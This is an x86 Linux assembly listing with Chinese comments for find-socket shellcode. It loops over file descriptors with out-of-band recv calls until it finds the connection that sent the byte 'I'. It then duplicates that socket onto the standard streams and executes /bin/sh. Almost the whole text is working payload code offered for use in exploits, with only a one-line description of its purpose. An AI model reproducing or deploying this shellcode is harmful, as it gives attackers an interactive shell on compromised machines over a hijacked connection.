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一段汇编代码,作用是通过OOB数据寻找当前连接的客户端, 然后执行dup2操作,再执行
execve /bin/sh, 客户端需要发送OOB数据'I' 
/* find code asm */ 
/* sleep(1)*/ 
.text 
.globl _start 
_start: 
xorl %eax,%eax 
pushl %eax 
incl %eax 
pushl %eax 
movl %esp,%ebx 
xorl %ecx,%ecx 
movb $0xa2,%al 
int $0x80 
movb $0x09,%cl 
movl %ecx,%eax /* <--loop to here */ 
subl $0x0a,%eax /* eax=edi-10 */ 
notl %eax /* eax=~eax */ 
incl %eax /* eax+1 */ 
movl %eax,%edi 
xorl %eax,%eax 
incl %eax 
decl %esp 
movl %esp,%edx /* 存放OOB 数据的地方 */ 
pushl %eax /* 1 */ 
pushl %eax /* 1 */ 
pushl %edx /* &data*/ 
pushl %edi /* 判断的句柄 */ 
pushl %ecx /* ecx 入栈 */ 
leal 4(%esp),%ecx /* socketcall 的arg*/ 
xorl %ebx,%ebx 
movb $0x0a,%bl /* 调用recv */ 
movb $0x66,%al /* socketcall 调用 */ 
int $0x80  
popl %ecx /* ecx 出栈 */ 
cmpl $0x01,%eax 
jne .+0x07 /* 不相等直接跳转到loop */ 
/* 相等判断是否位'I' */ 
cmpb $0x49,(%edx) 
je .+0xb /* 相等则直接跳转到dup2这里 */ 
loop .-0x2c /* 循环 */ 

oobfindclientfd.asm 
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xorl %eax,%eax 
incl %eax 
movl %eax,%ebx 
int $0x80 /* 没有找到,退出 */ 
/* 这里应该开始dup2 了 */ 
movl %edi,%ebx 
movb $0x03,%cl 
movb $0x3f,%al 
decl %ecx 
int $0x80 
incl %ecx 
loop .-0x06 
/* 开始execve("/bin//sh",argv,NULL) */ 
pushl %ecx /* argv的NULL */ 
pushl $0x68732f6e /* n/sh */ 
pushl $0x69622f2f /* //bi */ 
movl %esp,%ebx 
pushl %ecx 
pushl $0x706c692d /* -ilp */ 
movl %esp,%edx 
pushl %ecx 
pushl %edx 
pushl %ebx 
movl %esp,%ecx /* 构造argv */ 
xorl %edx,%edx /* argenv=NULL */ 
xorl %eax,%eax 
movb $0x0b,%al /* execve 调用 */ 
int $0x80  
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